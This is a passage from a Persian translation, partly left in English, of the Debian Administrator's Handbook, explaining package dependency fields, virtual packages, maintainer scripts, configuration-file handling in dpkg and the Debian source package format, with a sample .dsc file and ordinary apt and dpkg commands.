You should always install the “recommended” packages, unless you know exactly why you do not need them. This is now also the default for APT unless configured otherwise. Conversely, it is not necessary to install “suggested” packages unless you know why you need them. The behavior of apt can be controlled by using the APT::Install-Recommends and APT::Install-Suggests configuration options or the corresponding command line options --[no-]install-recommends and --[no-]install-suggests.

فیلد Enhances نیز به پیشنهاد بسته‌ها می‌پردازد اما در یک حوزه متفاوت. در واقع درون بسته‌های پیشنهادی قرار دارد و نه بسته‌ای که از آن بهره می‌برد. نکته جالب اینجاست که امکان اضافه‌کردن یک بسته پیشنهادی بدون تغییر روی بسته اصلی وجود دارد. بنابراین، تمام add-ons، plug-ins و extension یک برنامه می‌توانند در این فهرست قرار گیرند. با اینکه سالیان طولانی از وجود این فیلد می‌گذرد، اما برنامه‌های apt و synaptic از آن استفاده می‌کنند. هدف از آن پیشنهاد قابلیت‌های جداگانه نسبت به فیلد Suggests است که کاربر می‌تواند از بین آن‌ها انتخاب کند.

خط‌مشی دبیان Pre-Depends، نوعی دیگر از Depends

“Pre-dependencies”، که در فیلد “Pre-Depends” واقع در سرآیند بسته فهرست شده‌اند، وابستگی‌های عادی را کامل می‌کنند؛ نحو آن‌ها یکسان است. یک وابستگی عادی بیان می‌کند که بسته مورد نیاز باید قبل از بسته درخواست‌کننده وابستگی، پیکربندی شود. یک پیش-وابستگی بیان می‌کند که بسته مورد نیاز باید قبل از اجرای اسکریپت pre-installation بسته درخواست‌کننده وابستگی، پیکربندی شود که این مرحله درست قبل از نصب بسته صورت می‌گیرد.

یک پیش-وابستگی بسیار مورد نیاز apt واقع می‌شود، چراکه به صورت ضمنی ترتیب اجرای بسته‌های مورد نیاز را تعیین می‌کند. به همین منظور، از پیش-وابستگی‌ها استفاده نمی‌شود مگر در شرایط ضروری. همچنین توصیه می‌شود که سایر توسعه‌دهندگان <debian-devel@lists.debian.org> را قبل از ایجاد یک پیش-وابستگی در جریان بگذارید. همچنین امکان انتخاب گزینه‌های دیگر نیز وجود دارد.

5.2.1.2. تداخل‌ها: فیلد Conflicts

The Conflicts field indicates when a package cannot be installed simultaneously with another. The most common reasons for this are that both packages include a file of the same name and path, or provide the same service on the same TCP port, or would hinder each other's operation.

dpkg در صورتی که بسته مورد نظر با بسته دیگری تداخل داشته باشد، اقدام به نصب آن نمی‌کند بجز حالتی که بسته جدید جایگزین نسخه قبلی آن شود که در این صورت dpkg بسته قدیمی را با جدید جایگزین خواهد کرد. apt همیشه از دستورالعمل‌های شما پیروی می‌کند: اگر انتخاب کنید که بسته جدیدی نصب گردد، به صورت خودکار پیشنهاد حذف بسته‌های دردسرساز را به شما می‌دهد.

5.2.1.3. ناسازگاری‌ها: فیلد Breaks

فیلد Breaks تاثیر مشابه مانند فیلد Conflicts دارد، اما به طور متفاوتی. نشان می‌دهد که نصب یک بسته، بسته دیگری را “break” می‌کند (یا نسخه مشخصی از آن را). به طور کلی، این عدم سازگاری بین دو بسته، موقتی است و رابطه Breaks به صورت خاص اشاره به نسخه‌های ناسازگار از آن‌ها دارد.

dpkg از نصب برنامه‌ای که با سایر بسته‌ها ناسازگاری داشته و موجب خرابی آن‌ها می‌شود، جلوگیری کرده و apt با بروزرسانی بسته خراب به نسخه جدیدتر (که این ناسازگاری را رفع کرده است) تلاش برای حل این مساله می‌کند.

این گونه شرایط ممکن است در حالتی رخ دهد که بروزرسانی بدون توجه به سازگاری با نسخه‌های قدیمی‌تر اجرا شده باشد: مانند حالتی که نسخه جدید با نسخه قدیم دیگر سازگاری نداشته باشد و باعث خرابی در برنامه دیگری شود بدون آنکه هیچ اطلاعی راجع به آن کسب کند. فیلد Breaks کاربر را در ورود به چنین شرایطی آگاه می‌سازد.

5.2.1.4. گزینه‌های فراهم‌شده: فیلد Provides

این فیلد، مفهوم بسیار جالب “بسته مجازی” را معرفی می‌کند. این بسته‌ها نقش‌های متفاوتی ایفا می‌کنند، اما دو نقش آن از اهمیت خاصی برخوردار هستند. نقش اول شامل کاربرد یک بسته مجازی برای انطباق با یک سرویس عمومی است (بسته، سرویس را “فراهم” می‌کند). نقش دوم نشان می‌دهد که یک بسته جایگزین دیگری می‌شود، و با تمام وابستگی‌های بسته قدیم سازگار خواهد بود. بنابراین این امکان وجود دارد که بدون بکاربردن نام واقعی یک بسته، جایگزینی برای آن تعریف کرد.

واژگان تفاوت بین بسته‌های meta و virtual

ضروری است که بین دو بسته meta و virtual تفاوت قائل شویم. اولی شامل بسته‌ای واقعی (به همراه فایل‌های .deb) است که هدفش بیان وابستگی‌های مربوط به آن بسته است.

از طرف دیگر، بسته‌های مجازی به صورت فیزیکی وجود ندارند؛ بلکه روشی هستند برای شناسایی بسته‌های حقیقی بر اساس یک سری شرایط خاص و منطقی (سرویس فراهم‌آورده، سازگاری با یک برنامه استاندارد یا یک بسته از پیش موجود).

5.2.1.4.1. فراهم‌آوردن یک “سرویس”

بیاید در مورد اول با جزئیات بیشتری به همراه یک مثال بحث کنیم: گفته می‌شود که تمام سرورهای ایمیل مانند postfix یا sendmail بسته مجازی mail-transport-agent را “فراهم می‌آورد”. بنابراین، هر بسته‌ای که به این سرویس نیاز داشته باشد (مانند میلینگ‌لیست smartlist یا sympa) به سادگی وابستگی‌های خود را در قالب بسته مجازی mail-transport-agent بیان می‌کند تا اینکه بخواهد به فهرست بلندبالا و ناسازگاری از راهکارهای موجود اشاره کند (مانند postfix | sendmail | exim4 | …). علاوه بر این، نصب دو سرور ایمیل روی یک ماشین کار بیهوده‌ای است که به همین دلیل هر کدام از این بسته‌ها، ناسازگاری خود را با بسته مجازی mail-transport-agent نشان می‌دهد. مغایرت یک بسته با خودش از طرف سیستم نادیده گرفته می‌شود، اما این تکنیک از نصب دو سرور ایمیل در کنار یکدیگر جلوگیری بعمل می‌آورد.

خط‌مشی دبیان فهرستی از بسته‌های مجازی

برای آنکه بسته‌های مجازی کاربردی شوند، همه باید روی نامشان توافق داشته باشند. به همین دلیل است که برای نامگذاری آن‌ها در خط‌مشی دبیان استانداردی وجود دارد. این فهرست شامل mail-transport-agent برای سرورهای ایمیل، c-compiler برای کامپایلرهای زبان برنامه‌نویسی C، www-browser برای مرورگرهای وب، httpd برای سرورهای وب، ftp-server برای سرورهای FTP، x-terminal-emulator برای شبیه‌سازی ترمینال در محیط گرافیکی (xterm) و x-window-manager برای مدیر پنجره‌ها.

فهرست کامل این بسته‌ها روی وب یافت می‌شود.

→ http://www.debian.org/doc/packaging-manuals/virtual-package-names-list.yaml

5.2.1.4.2. قابلیت تعویض با بسته‌ای دیگر

The Provides field is also interesting when the content of a package is included in a larger package. For example, the libdigest-md5-perl Perl module was an optional module in Perl 5.6, and has been integrated as standard in Perl 5.8 (and later versions, such as 5.28 present in Buster). As such, the package perl has since version 5.8 declared Provides: libdigest-md5-perl so that the dependencies on this package are met if the user has Perl 5.8 (or newer). The libdigest-md5-perl package itself has eventually been deleted, since it no longer had any purpose when old Perl versions were removed.

شكل 5.1. کاربرد فیلد Provides بصورتی که وابستگی‌های را خراب نکند

این ویژگی بسیار کاربردی است، چراکه امکان پیشبینی توسعه خیالی وجود نخواهد داشت و توانایی نحوه نامگزاری ضروری است و سایر جایگزین‌های خودکار از نرم‌افزارهای منسوخ.

بازگشت به مقدمات زبان برنامه‌نویسی Perl

Perl (Practical Extraction and Report Language) is a very popular programming language. It has many ready-to-use modules that cover a vast spectrum of applications, and that are distributed by the CPAN (Comprehensive Perl Archive Network) servers, an exhaustive network of Perl packages.

→ https://www.perl.org/

→ https://www.cpan.org/

از آنجایی که یک زبان تفسیری بحساب می‌آید، برنامه‌ای که به زبان Perl نوشته می‌شود قبل از اجرا نیازی به کامپایل شدن ندارد. به همین دلیل به برنامه‌های آن “Perl Scripts” گفته می‌شود.

5.2.1.4.3. محدودیت‌های سابق

بسته‌های مجازی سابق بر این از برخی محدودیت‌ها رنج می‌بردند، که مهم‌ترین آن‌ها نبود شماره نسخه بود. در بازگشت به مثال فوق، یک وابستگی مانند Depends: libdigest-md5-perl (>= 1.6) برخلاف وجود Perl 5.10، توسط سیستم بسته‌بندی هیچگاه درنظر گرفته نمی‌شود - با اینکه اینطور بنظر می‌رسد. سیستم بسته‌بندی، بدون آگاهی از این موضوع، آخرین گزینه موجود را بررسی می‌کند که منجر به عدم تطابق نسخه‌ها می‌گردد.

This limitation has been lifted in dpkg 1.17.11, and is no longer relevant. Packages can assign a version to the virtual packages they provide with a dependency such as Provides: libdigest-md5-perl (= 1.8).

5.2.1.5. فایل‌های جایگزین شده: فیلد Replaces

فیلد Replaces بیان می‌کند بسته شامل فایل‌هایی است که در سایر بسته‌ها وجود دارد، اما بسته بصورت قانونی اقدام به جایگزینی آن‌ها می‌کند. بدون این مشخصات، dpkg در عملیات خود با شسکت روبه‌رو می‌شود با بیان اینکه نمی‌تواند روی سایر فایل‌های بسته‌های دیگر بنویسد (به لحاظ فنی، امکان اجرای آن با استفاده از گزینه --force-overwrite وجود دارد، اما عملیات استانداردی بحساب نمی‌آید). این امر، امکان شناسایی مشکلات باالقوه را می‌دهد و نگهدارنده بسته را ملزم می‌سازد که قبل از اضافه کردن چنین فیلدی، به نتایج آن پی ببرد.

استفاده از این فیلد در صورت تغییر نام بسته یا بکاررفتن آن در بسته دیگری، توجیه پذیر است. همچنین در شرایطی که نگهدارنده بسته تصمیم می‌گیرد فایل‌های جداگانه‌ای در کنار بسته‌های باینری تولید شده از بسته سورس قرار دهد: یک فایل جایگزین شده دیگر متعلق به بسته قدیم نیست، بلکه تنها به بسته جدید تعلق دارد.

اگر تمام فایل‌های یک بسته موجود تغییر کنند، بسته در شرایط حذف قرار می‌گیرد. در نهایت، این فیلد به dpkg کمک می‌کند در شرایط بروز تداخل با سایر بسته‌ها، آن را حذف کند.

مطالعه بیشتر فیلد Tag

In the apt example above, we can see the presence of a field that we have not yet described, the Tag field. This field does not describe a relationship between packages, but is simply a way of categorizing a package in a thematic taxonomy. This classification of packages according to several criteria (type of interface, programming language, domain of application, etc.) has been available for a long time. Despite this, not all packages have accurate tags and it is not yet integrated in all Debian tools; aptitude displays these tags, and allows them to be used as search criteria. For those who are repelled by aptitude's search criteria, the following website allows navigation of the tag database:

→ https://wiki.debian.org/Debtags

5.2.2. اسکریپت‌های پیکربندی

In addition to the control file, the control.tar.gz archive for each Debian package may contain a number of scripts, called by dpkg at different stages in the processing of a package. The Debian Policy describes the possible cases in detail, specifying the scripts called and the arguments that they receive. These sequences may be complicated, since if one of the scripts fails, dpkg will try to return to a satisfactory state by canceling the installation or removal in progress (insofar as it is possible).

مطالعه بیشتر پایگاه‌داده dpkg

تمام اسکریپت‌های پیکربندی برای بسته‌های نصب شده در دایرکتوری /var/lib/dpkg/info/ قرار می‌گیرند، به شکل فایلی که با نام بسته‌اش پیشوند شده باشد. این دایرکتوری همچنین شامل فایلی با فرمت .list است که فهرستی از فایل‌های مرتبط با هر بسته را نمایش می‌دهد.

فایل /var/lib/dpkg/status شامل مجموعه‌ای از بلوک‌های داده است (در قالب استاندارد معروف ایمیل، RFC 2822) که وضعیت هر بسته را گزارش می‌دهد. اطلاعات مربوط به فایل control هر بسته در زمان نصب به این فایل منتقل می‌شود.

In general, the preinst script is executed prior to installation of the package, while postinst follows it. Likewise, prerm is invoked before removal of a package and postrm afterwards. An update of a package is equivalent to removal of the previous version and installation of the new one. It is not possible to describe in detail all the possible scenarios here, but we will discuss the most common two: an installation/update and a removal.

احتیاط نام‌های نمادین اسکریپت‌ها

ترتیبی که در این قسمت به بررسی آن می‌پردازیم اسکریپت‌ها را بر اساس نام خاصی فراخوانی می‌کند، مانند old-prerm یا new-postinst. این‌ها معادل با اسکریپت prerm موجود در بسته قدیم (نصب شده قبل از بروزرسانی) و اسکریپت postinst موجود در بسته جدید (نصب شده توسط بروزرسانی) هستند.

نکته نمودار حالت

Manoj Srivastava and Margarita Manterola made the following diagrams explaining how the configuration scripts are called by dpkg.

→ https://people.debian.org/~srivasta/MaintainerScripts.html

→ https://www.debian.org/doc/debian-policy/ap-flowcharts.html

5.2.2.1. نصب و بروزرسانی

این اتفاقی است که در حین نصب (یا بروزرسانی) می‌افتد:

برای بروزرسانی، dpkg به فراخوانی old-prerm upgrade new-version می‌پردازد.

هنوز برای بروزرسانی، dpkg به فراخوانی new-preinst upgrade old-version می‌پردازد؛ برای اولین مرتبه نصب، new-preinst install را اجرا می‌کند. ممکن است نسخه قدیم را در آخرین پارامتر قرار دهد، اگر بسته نصب یا به تازگی حذف شده باشد (اما purge نشده باشد، که در این حالت فایل‌های پیکربندی باقی می‌مانند).

فایل‌های بسته جدید از حالت فشرده خارج می‌شوند. اگر فایلی موجود باشد، جایگزین می‌گردد اما در همین حالت یک نسخه پشتیبان از آن گرفته می‌شود.

برای بروزرسانی، dpkg به فراخوانی old-postrm upgrade new-version می‌پردازد.

dpkg تمام داده‌های داخلی (فهرست فایل‌ها، اسکریپت‌های پیکربندی و ...) را بروزرسانی و فایل‌های پشتیبان از نسخه‌های موجود را حذف می‌کند. این نقطه‌ای است که دیگر بازگشتی وجود ندارد: dpkg دیگر به تمام اجرای ضروری جهت بازگشت به حالت قبلی دسترسی نخواهد داشت.

dpkg فایل‌های پیکربندی را بروزرسانی می‌کند و در صورت عدم اجرای خودکار این فرآیند، از کاربر پرسش‌هایی را می‌پرسد. جزئیات این رویه در قسمت قسمت 5.2.3, “Checksums، فهرستی از فایل‌های پیکربندی” آمده است.

در نهایت، dpkg به فراخوانی new-postinst configure last-version-configured می‌پردازد تا بسته را پیکربندی کند.

5.2.2.2. حذف بسته

این اتفاقی است که در حین حذف بسته می‌افتد:

dpkg به فراخوانی prerm remove می‌پردازد.

dpkg تمام فایل‌های بسته را پاک می‌کند، به جز فایل‌های پیکربندی و اسکریپت‌های پیکربندی.

dpkg به فراخوانی postrm remove می‌پردازد. تمام اسکریپت‌های پیکربندی، به جز postrm حذف می‌شوند. اگر کاربر از گزینه “purge” استفاده نکرده باشد، فرآیند در همین نقطه به پایان می‌رسد.

برای حذف کامل یک بسته (دستوری که به صورت dpkg --purge یا dpkg -P اجرا می‌شود)، فایل‌های پیکربندی نیز حذف می‌گردند، همچنین تعدادی از کپی‌های (*.dpkg-tmp، *.dpkg-old و *.dpkg-new) و فایل‌های موقت؛ dpkg سپس به اجرای postrm-purge می‌پردازد.

واژگان Purge, حذف کامل بسته

زمانی که یک بسته دبیان حذف می‌شود، فایل‌های پیکربندی به منظور تسهیل در فرآیند بازنصب احتمالی، نگاه داشته می‌شوند. به همین صورت، داده‌هایی که توسط فرآیند پیش‌زمینه (مانند محتوای یک دایرکتوری سرور LDAP یا محتوای یک پایگاه‌داده سرور SQL) تولید می‌شوند، معمولاً حفظ می‌گردند.

برای حذف تمام داده‌های مربوط به یک بسته، ضروری است که از دستورات dpkg -P package، apt-get remove --purge package یا aptitude purge package استفاده گردد.

با توجه به ماهیت حذف چنین داده‌هایی، باید از purge با دقت بیشتری استفاده کرد.

چهار اسکریپتی که در بالا به توضیحشان پرداختیم توسط اسکریپت config کامل می‌شوند، که توسط بسته‌های مورد استفاده debconf جهت جمع‌آوری اطلاعات پیکربندی از کاربر گرفته می‌شود. در زمان نصب، این اسکریپت پرسش‌های مورد نیاز توسط debconf را تعریف می‌کند. پاسخ‌ها نیز در پایگاه‌داده debconf برای ارجاع بعدی ذخیره می‌گردند. اسکریپت معمولاً توسط apt اجرا می‌گردد و درست قبل از نصب بسته‌ها به صورت ترتیبی و یک به یک پرسش‌ها مطرح می‌شود. اسکریپت‌های پیش و پس از نصب می‌توانند از این اطلاعات جهت شخصی‌سازی تنظیمات کاربر استفاده کنند.

ابزار debconf

debconf برای حل یک مشکل تکرارشدنی در دبیان بوجود آمده است. تمام بسته‌های دبیان بدون وجود پیکربندی‌هایی که توسط دستورات read و echo در اسکریپت‌های postinst (و سایر اسکریپت‌های مشابه) گردآوری می‌شوند، قادر به اجرا نخواهند بود. این بدان معنی نیز هست که کاربر در حین نصب یا بروزرسانی سیستم باید منتظر این پرسش‌ها بماند تا به آن‌ها در هر لحظه پاسخ دهد. این شیوه تعامل دستی، حال به لطف ابزار debconf جای خود را به فرآیند خودکار داده است.

debconf قابلیت‌های بسیاری دارد: مشخص کردن شیوه تعامل را برای توسعه‌دهنده ضروری می‌کند؛ امکان بومی‌سازی تمام رشته‌های موجود در صفحه را فراهم می‌سازد (تمام ترجمه‌ها در فایل templates هر تعامل قرار می‌گیرند)؛ رابط‌های متفاوتی برای نمایش پرسش‌ها به کاربر دارد (متنی، گرافیکی، غیر-تعاملی) و همچنین امکان پیاده‌سازی یک پایگاه‌داده متمرکز از پاسخ‌ها را می‌دهد تا بتوان روی رایانه‌های دیگر از آن استفاده کرد... اما مهم‌ترین قابلیت آن امکان نمایش تمام پرسش‌ها در یک سطر به کاربر است، قبل از اینکه یک فرآیند طولانی نصب یا بروزرسانی آغاز گردد. کاربر در اینجا می‌تواند به سایر کارهای خود برسد بدون آنکه نیازی به پاسخ دادن به پرسش‌های متعدد در زمان نصب یا بروزرسانی وجود داشته باشد.

5.2.3. Checksums، فهرستی از فایل‌های پیکربندی

In addition to the maintainer scripts and control data already mentioned in the previous sections, the control.tar.gz archive of a Debian package may contain other interesting files. The first, md5sums, contains the MD5 checksums for all of the package's files. Its main advantage is that it allows dpkg --verify (which we will study in قسمت 14.3.4.1, “بازرسی بسته‌ها با استفاده از dpkg --verify” ) and debsums (from the package of the same name; see قسمت 14.3.4.2, “بازرسی بسته‌ها: debsums و محدودیت‌های آن” ) to check if these files have been modified since their installation. Note that when this file doesn't exist, dpkg will generate it dynamically at installation time (and store it in the dpkg database just like other control files).

conffiles lists package files that must be handled as configuration files (see also deb-conffiles(5)). Configuration files can be modified by the administrator, and dpkg will try to preserve those changes during a package update.

در این وضعیت، dpkg به صورت هوشمندانه عمل می‌کند: اگر فایل پیکربندی استاندارد بین دو نسخه تغییری نکرده باشد، کاری انجام نمی‌دهد. اگر، در هر صورت، فایل تغییر کرده باشد، تلاش می‌کند تا آن را بروز نماید. دو حالت ممکن پیش می‌آید: یا مدیرسیستم اقدام به تغییر آن نکرده است که در این حالت dpkg به صورت خودکار نسخه جدید را نصب می‌کند؛ یا فایل تغییر کرده است، که در این حالت dpkg از مدیرسیستم می‌پرسد کدام نسخه را می‌خواهد نگهداری کند (نسخه قدیم با تغییرات یا نسخه جدید همراه با بسته). برای راهنمایی در اتخاذ این تصمیم، dpkg پیشنهاد می‌کند که یک “diff” از اختلاف بین دو فایل نمایش داده شود. اگر کاربر اقدام به حفظ نسخه قدیم کند، نسخه جدید در همان مسیر با پسوند .dpkg-dist ذخیره می‌گردد. اگر کاربر نسخه جدید را انتخاب کند، نسخه قدیم با پسوند .dpkg-old در همان مسیر ذخیره می‌گردد. یک اقدام دیگر این است که با توقف فعالیت dpkg اقدام به ویرایش فایل در آن لحظه کرده و سپس عملیات مرتبط با فراخوانی اختلاف بین دو فایل (که توسط diff مشخص گردید) را اجرا کنیم.

مطالعه بیشتر وادارکردن dpkg به پرسیدن سوالات پیکربندی

The --force-confask option requires dpkg to display the questions about the configuration files, even in cases where they would not normally be necessary. Thus, when reinstalling a package with this option, dpkg will ask the questions again for all of the configuration files modified or deleted by the administrator. This is very convenient, especially for reinstalling the original configuration file if it has been deleted and no other copy is available: a normal re-installation won't work, because dpkg considers removal as a form of legitimate modification, and, thus, doesn't install the desired configuration file.

مطالعه بیشتر پیشگیری از پرسش‌های فایل پیکربندی

dpkg بروزرسانی‌های فایل پیکربندی را مدیریت می‌کند، اما در هنگام اجرای این عملیات، از مدیرسیستم پرسش‌هایی را مطرح می‌کند. این فرآیند برای افرادی که دوست دارند بروزرسانی بدون دخالت انسان صورت گیرد، ناخوشایند بنظر می‌آید. این همان دلیلی است که برنامه امکان ارائه پاسخ‌های پیش‌فرض به پرسش‌ها را بر اساس یک قاعده مشخص فراهم می‌آورد: --force-confold نسخه قبلی از فایل را حفظ می‌کند؛ --force-confnew از نسخه جدید فایل استفاده می‌کند (این گزینه‌ها اختیاری هستند، حتی اگر فایل توسط مدیرسیستم تغییر نکرده باشد، که به ندرت پیش می‌آید تاثیر مطلوبی داشته باشد). اضافه‌کردن گزینه --force-confdef به dpkg می‌گوید هر طور صلاح می‌داند با آن برخورد کند (به عبارت دیگر، زمانی که فایل پیکربندی اصلی تغییر نکرده باشد) و تنها از --force-confnew یا --force-confold برای سایر حالت‌ها استفاده کند.

These options apply to dpkg and are explained in detail in dpkg(1) or dpkg --force-help, but most of the time the administrator will work directly with the aptitude or apt programs. It is, thus, necessary to know the syntax used to indicate the options to pass to the dpkg command (their command line interfaces are very similar).

# apt -o DPkg::options::="--force-confdef" -o DPkg::options::="--force-confold" full-upgrade

این گزینه‌ها می‌توانند به صورت مستقیم در فایل پیکربندی apt قرار گیرند. برای این کار، خط زیر را در فایل /etc/apt/apt.conf.d/local قرار دهید:

DPkg::options { "--force-confdef"; "--force-confold"; }

قرار دادن این گزینه‌ها در فایل پیکربندی به این معنی است که توسط رابط‌های گرافیکی مانند aptitude نیز قابل دسترسی هستند.

5.3. ساختار یک بسته سورس

5.3.1. قالب

A source package is usually comprised of three files, a .dsc, a .orig.tar.gz, and a .debian.tar.xz (or .diff.gz). They allow creation of binary packages (.deb files described above) from the source code files of the program, which are written in a programming language.

فایل .dsc یا Debian Source Control فایل کوتاهی است مبتنی بر استاندارد RFC 2822 (درست مانند فایل control که در قسمت قسمت 5.2.1, “توضیح: فایل control” بررسی شد) که بسته سورس و محتویات آن را مشخص می‌نماید. این فایل توسط توسعه‌دهنده آن امضا شده است که صحت آن را نمایش می‌دهد. برای مطالعه بیشتر در این زمینه به قسمت 6.6, “بررسی صحت بسته‌ها” مراجعه کنید.

مثال 5.1. یک فایل .dsc

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Format: 3.0 (quilt) Source: zim Binary: zim Architecture: all Version: 0.68-1 Maintainer: Zim Package Maintainers <zim@packages.debian.org> Uploaders: Raphaël Hertzog <hertzog@debian.org> Homepage: http://zim-wiki.org Standards-Version: 4.1.3 Vcs-Browser: https://salsa.debian.org/debian/zim Vcs-Git: https://salsa.debian.org/debian/zim.git Build-Depends: debhelper (>= 11), xdg-utils, python (>= 2.6.6-3~), libgtk2.0-0 (>= 2.6), python-gtk2, python-xdg, dh-python Package-List: zim deb x11 optional arch=all Checksums-Sha1: a3b50aa8e44126cc7edd2c1912adf9820f50ad58 2044224 zim_0.68.orig.tar.gz 4e13b37625789334da2d95b93e51e41ffd3b6b01 9300 zim_0.68-1.debian.tar.xz Checksums-Sha256: d91518e010f6a6e951a75314138b5545a4c51151fc99f513aa7768a18858df15 2044224 zim_0.68.orig.tar.gz 23f4ddc69af74509932acc3b5f0d4cd2af943016e4fd5740b9d98ec4d49fd8c2 9300 zim_0.68-1.debian.tar.xz Files: 336041a16687abb66fd9f604b98407e8 2044224 zim_0.68.orig.tar.gz 1714f67b35ab69e709849ad707206ca8 9300 zim_0.68-1.debian.tar.xz -----BEGIN PGP SIGNATURE----- Comment: Signed by Raphael Hertzog iQEzBAEBCgAdFiEE1823g1EQnhJ1LsbSA4gdq+vCmrkFAlqyOxkACgkQA4gdq+vC mrnCqAf/Ww9wg97VragtVhSFvehoVoJ0ZhoqNaSuCP/W1Fuf+P0YklzL2BlkVRXW X23c8Qs1v6VE2iRY3mEkdWwgBs1QwF0MX7H1jjQfPHCynGHKlH5dfo5fqLizgCeu c9Pug3ZisjF90CgsseO7SVDqHVmO6QsfAaGWpHAw92HDz/xwjrS/4Ejntqjy0b+r Gmw2AZuBdhp+7C6p7In/Gg6DHPBLQGMLCKypoZKQdl+L0fWjjeykOzMIbjry2sRH H0J4FLVGAGumh3zIZlm/t3ehGfP9Dg8FvzMaCNsf8OtYCSAEutrQEDBaskcTSIpq L0GQhKlViDuu8gzsqm7efPEhPcsF1A== =6jGR -----END PGP SIGNATURE-----

نکته اینکه بسته‌های سورس نیز وابستگی‌های مربوط به خود را دارند (Build-Depends) که کاملاً با وابستگی‌های موجود در بسته‌های باینری تفاوت دارد، چرا که شامل ابزاری جهت کامپایل کردن نرم‌افزار مورد نظر و ایجاد فایل باینری آن هستند.

احتیاط فضای‌نامگذاری منحصربفرد

نکته حائر اهمیت در اینجا این است که ممکن است هیچ انطباقی بین نام بسته سورس و بسته باینری آن وجود نداشته باشد. درک این نکته ساده است که بدانید هر بسته سورس می‌تواند چندین بسته باینری ایجاد کند. این همان دلیلی است که فایل .dsc فیلدهای جداگانه‌ای برای Source و Binary دارد که به ازای هر بسته سورس، نام بسته باینری آن را تعیین کند.

فرهنگ علت تقسیم به چند بسته

تقریباً در اکثر اوقات، یک بسته سورس (برای یک نرم‌افزار مورد نظر) می‌تواند چندین بسته باینری ایجاد کند. این تقسیم‌بندی به منظور احتمال استفاده (قسمتی از) نرم‌افزار در شرایط گوناگون در نظر گرفته می‌شود. یک کتابخانه اشتراکی را در نظر بگیرید، ممکن است به منظور اجرای یک برنامه نصب شده باشد (برای نمونه libc6) یا ممکن است به منظور ایجاد یک برنامه جدید نصب شده باشد (در این حالت libc6-dev بسته مورد نظر خواهد بود). این منطق در سرویس‌های client/server نیز وجود دارد که می‌خواهیم قسمت server را در یک ماشین و قسمت client را در ماشین دیگر نصب کنیم (برای نمونه، openssh-server و openssh-client برای سرویس OpenSSH).

درست مانند نرم‌افزار، مستندات هر نرم‌افزار نیز در بسته مربوط به خود قرار دارند: کاربر ممکن است جدای از نرم‌افزار اقدام به نصب آن کند و در هر لحظه که بخواهد برای دستیابی به فضای دیسک بیشتر، آن‌ها را حذف کند. به علاوه، این کار موجب صرفه‌جویی در فضای دیسک موجود در سرورهای دبیان می‌گردد، چرا که بسته مستندسازی‌شده در تمام معماری‌های یکسان بکارگرفته می‌شود (بجای اینکه برای هر معماری یک مستندات مربوط به بسته باینری آن موجود باشد).

چشم‌انداز قالب‌های متفاوت بسته سورس

در ابتدا تنها یک قالب برای بسته سورس وجود داشت. این قالب 1.0 است که ارتباط بین یک آرشیو .orig.tar.gz با .diff.gz که فایل پچ “مخصوص دبیان” است را برقرار می‌کند (همچنین یک نسخه .tar.gz وجود دارد در صورتی که فایل .orig.tar.gz موجود نباشد).

Since Debian 6 Squeeze, Debian developers have the option to use new formats that correct many problems of the historical format. Format 3.0 (quilt) can combine multiple upstream archives in the same source package: in addition to the usual .orig.tar.gz, supplementary .orig-component.tar.gz archives can be included. This is useful with software that is distributed in several upstream components but for which a single source package is desired. These archives can also be compressed with xz rather than gzip, which saves disk space and network resources. Finally, the monolithic patch, .diff.gz is replaced by a .debian.tar.xz archive containing the compiling instructions and a set of upstream patches contributed by the package maintainer. These last are recorded in a format compatible with quilt — a tool that facilitates the management of a series of patches.

فایل .orig.tar.gz آرشیو شامل سورس کد از توسعه‌دهنده اصلی برنامه است. از توسعه‌دهندگان بسته در دبیان تقاضا می‌شود که این فایل را به منظور سازگاری هر چه بیشتر با فایل اصلی برنامه، تغییر ندهند (که این کار توسط یک عملیات مقایسه‌ای انجام می‌شود) و به نقظه نظرات نویسنده اصلی احترام بگذارند.

The .debian.tar.xz contains all of the modifications made by the Debian maintainer, especially the addition of a debian directory containing the instructions to execute to construct a Debian package.

ابزار خارج‌سازی بسته از حالت فشرده

اگر بسته سورسی دارید، می‌تواند با استفاده از دستور dpkg-source (از بسته dpkg-dev) آن را از حالت فشرده خارج سازید:

$ dpkg-source -x zim_0.68-1.dsc dpkg-source: info: extracting zim in zim-0.68 dpkg-source: info: unpacking zim_0.68.orig.tar.gz dpkg-source: info: unpacking zim_0.68-1.debian.tar.xz

You can also use apt to download a source package and unpack it right away. It requires that the appropriate deb-src lines be present in the /etc/apt/sources.list file, however (for further details, see قسمت 6.1, “پر کردن فایل sources.list” ). These are used to list the “sources” of source packages (meaning the servers on which a group of source packages are hosted).

$ apt source package Reading package lists... Done Selected version '0.68-1' (stable) for zim NOTICE: 'zim' packaging is maintained in the 'Git' version control system at: https://salsa.debian.org/debian/zim.git Please use: git clone https://salsa.debian.org/debian/zim.git to retrieve the latest (possibly unreleased) updates to the package. Need to get 2055 kB of source archives. Get:1 https://cdn-aws.deb.debian.org/debian stable/main zim 0.68-1 (dsc) [1586 B] Get:2 https://cdn-aws.deb.debian.org/debian stable/main zim 0.68-1 (tar) [2044 kB] Get:3 https://cdn-aws.deb.debian.org/debian stable/main zim 0.68-1 (diff) [9300 B] Fetched 2055 kB in 1s (3356 kB/s) dpkg-source: info: extracting zim in zim-0.68 dpkg-source: info: unpacking zim_0.68.orig.tar.gz dpkg-source: info: unpacking zim_0.68-1.debian.tar.xz

5.3.2. کاربرد در دبیان

بسته سورس پایه و اساس هر چیز دیگری در دبیان است. تمام بسته‌های دبیان از یک بسته سورس نشات می‌گیرند، تغییر در هر بسته دبیان مستلزم تغییر در بسته سورس آن است. توسعه‌دهندگان دبیان که روی بسته‌های سورس کار می‌کنند، می‌دانند که کوچکترین تغییر در آن‌ها روی بسته‌های دبیان تاثیر خواهد گذاشت. حاصل کار نهایی آن‌ها در بسته‌های سورس قرار می‌گیرد: به راحتی می‌توانید به آن‌ها مراجعه کنید و ببینید که تمام تغییرات از آنجا شروع می‌شود.

When a new version of a package (source package and one or more binary packages) arrives on the Debian server, the source package is the most important. Indeed, it will then be used by a network of machines of different architectures for compilation on the various architectures supported by Debian. The fact that the developer also sends one or more binary packages for a given architecture (usually i386 or amd64) is relatively unimportant, since these could just as well have been automatically generated.

→ https://buildd.debian.org/

GOING FURTHER Source only maintainer uploads

Right after the release of Debian 10 Buster the Release Team announced that maintainer binary uploads will no longer be accepted for main and all binary packages in this component will be built automatically from mandatory source-only uploads.

5.4. مدیریت بسته‌ها با استفاده از dpkg

